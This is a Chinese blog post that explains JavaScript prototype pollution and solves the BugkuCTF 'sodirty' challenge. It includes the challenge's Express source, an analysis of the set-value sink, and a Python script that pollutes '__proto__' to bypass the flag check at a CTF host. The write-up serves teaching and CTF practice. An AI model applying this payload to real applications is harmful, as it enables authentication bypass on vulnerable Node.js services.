js源链污染

  1. js原链污染简介
  2. js原链污染测试
  3. bugkuctf sodirty题目分析
  4. 参考链接

题目考的目的:js原链污染

js原链污染简介

JavaScript是一门灵活的语言,基于原型实现继承,原型是Javascript的继承的基础。
它本身不提供一个 class实现。(在 ES2015/ES6 中引入了 class 关键字,但那只是语法糖,JavaScript 仍然是基于原型的
遵循ECMAScript标准,someObject.[[Prototype]] 符号是用于指向 someObject 的原型。从 ECMAScript 6 开始,[[Prototype]] 可以通过 Object.getPrototypeOf() 和 Object.setPrototypeOf() 访问器来访问。这个等同于 JavaScript 的非标准但许多浏览器实现的属性 proto

每个实例对象都有一个私有属性proto指向它的构造函数的原型prototype,也就是

function a(){
    this.a="AAA"
}
b=new a()
b.__proto__===a.Prototype


原型prototype是类的一个属性,而这个属性中的值和方法被每一个由类实例出来的对象所共有,而我们可以通过实例对象test1.__proto__来访问Test类的原型,那么这样就出现了一个问题,假如我们可以控制实例对象的__proto__属性,则等于可以修改该类所有实例对象的__proto__属性。
网上的图

js原链污染测试

定义一个对象测试

challenger={"username":"user","password":"pass","age":80}
key={}
challenger.__proto__.pwd2="pwd"

由于源链被污染,定义的pwd2值在任何地方都可以被访问到

更直接的表明

非对象污染则会失败

but,实际上的源链污染需要找到对应能操控对象的函数来进行污染

bugkuctf sodirty题目分析

源码如下:

var express = require('express');
const setFn = require('set-value');
var router = express.Router();


const Admin = {
    "password":process.env.password?process.env.password:"password"
}


router.post("/getflag", function (req, res, next) {
    if (req.body.password === undefined || req.body.password === req.session.challenger.password){
        res.send("登录失败");
    }else{
        if(req.session.challenger.age > 79){
            res.send("糟老头子坏滴很");
        }
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag ? process.env.flag : "flag{test}");
        }else {
            res.send("密码错误,请使用管理员用户名登录.");
        }
    }

});
router.get('/reg', function (req, res, next) {
    req.session.challenger = {
        "username": "user",
        "password": "pass",
        "age": 80
    }
    res.send("用户创建成功!");
});

router.get('/', function (req, res, next) {
    res.redirect('index');
});
router.get('/index', function (req, res, next) {
    res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
    if(req.session.challenger === undefined){
        res.redirect('/reg');
    }else{
        if (req.body.attrkey === undefined || req.body.attrval === undefined) {
            res.send("传参有误");
        }else {
            let key = req.body.attrkey.toString();
            let value = req.body.attrval.toString();
            setFn(req.session.challenger, key, value);
            res.send("修改成功");
        }
    }
});

module.exports = router;

分析流程:

/路径:
1.重定向到/reg路径

/reg路径:
创建一个req.session.challenger对象

/update路径:
1.req.session.challenger如果为空则被重定向到/reg路径
    2.req.body.attrkey或req.body.attrval为undefined的情况下返回为"传参有误"
    2.如果不为undefined将设置key和value,调用setFn函数设置req.session.challenger对象的值
传参链:
req.body.attrkey/req.body.attrval->let key = req.body.attrkey.toString();/let value = req.body.attrval.toString();->setFn(req.session.challenger, key, value); #原链污染点

/getflag路径:
1.req.body.password为undefined或req.body.password等于req.session.challenger对象里的password则返回登录失败
2.req.session.challenger.age值大于79返回糟老头子坏滴很
3.Admin对象里的key键的值等于req.body.password则返回真的flag

漏洞点出现在

setFn(req.session.challenger, key, value);

setFn函数对应require('set-value');,位于同目录下的set-value/index.js里的result函数

function result(target, path, value, merge) {
  if (merge && isPlain(target[path]) && isPlain(value)) {
    target[path] = merge({}, target[path], value);
  } else {
    target[path] = value;
  }
}

对应的Github:https://github.com/freewisdom/set-value

由于需要以{"key":"value"}的方式来进行更新,所以要用json,具体是看文章知道

考点如下

1.发现路由"/reg"会创建一个challenger用户字典
2.发现路由"/update"可以对challenger传参键值对(attrkey和attrval),对challenger字典中进行修改
3.路由"/getflag"可以获取到flag,但存在几个验证,首先需要传参两个参数(key和password)进来,并且对用户字典中的年龄进行判断,大于79会失败;其次Admin[key]需要等于password,而body.password是多少我们是不知道的

题目解题思路如下

1.操控源链创建一个变量
2.更新req.session.challenger对象里age键值

最后请求/getflag路径的时候,设置key参数为新建变量的名称和设置password变量名为新建变量名的值,使判断成立

if (req.body.password === undefined || req.body.password === req.session.challenger.password){
        res.send("登录失败");
    }else{
        if(req.session.challenger.age > 79){
            res.send("糟老头子坏滴很");
        }
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag ? process.env.flag : "flag{test}");
        }else {
            res.send("密码错误,请使用管理员用户名登录.");
        }
    }

payload如下

import requests

class getflag(object):
    def __init__(self,url):
        self.requests=requests.session()
        self.headers={"Content-Type": "application/json"}
        self.reg="{}/reg".format(url)
        self.update="{}/update".format(url)
        self.getflag="{}/getflag".format(url)

    def getflag_(self):
        reg=self.requests.get(self.reg)
        print(reg.text)

        update=self.requests.post(self.update,headers=self.headers,json={"attrkey":"__proto__.pwd22","attrval":"pwd"})
        print(update.text)

        update2=self.requests.post(self.update,headers=self.headers,json={"attrkey":"age","attrval":10})
        print(update2.text)

        flag=self.requests.post(self.getflag,headers=self.headers,json={"key":"pwd22","password":"pwd"})
        print(flag.text)

if __name__ == '__main__':
    obj=getflag("http://114.67.246.176:19392")
    obj.getflag_()

参考链接

https://blog.csdn.net/qq_41107295/article/details/95789944
https://www.cnblogs.com/escape-w/p/12347705.html
https://www.wlhhlc.top/posts/49040/


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:js源链污染

本文作者:九世

发布时间:2021-03-10, 19:52:49

最后更新:2021-03-10, 20:10:55

原始链接:http://jiushill.github.io/posts/3e45dbe4.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录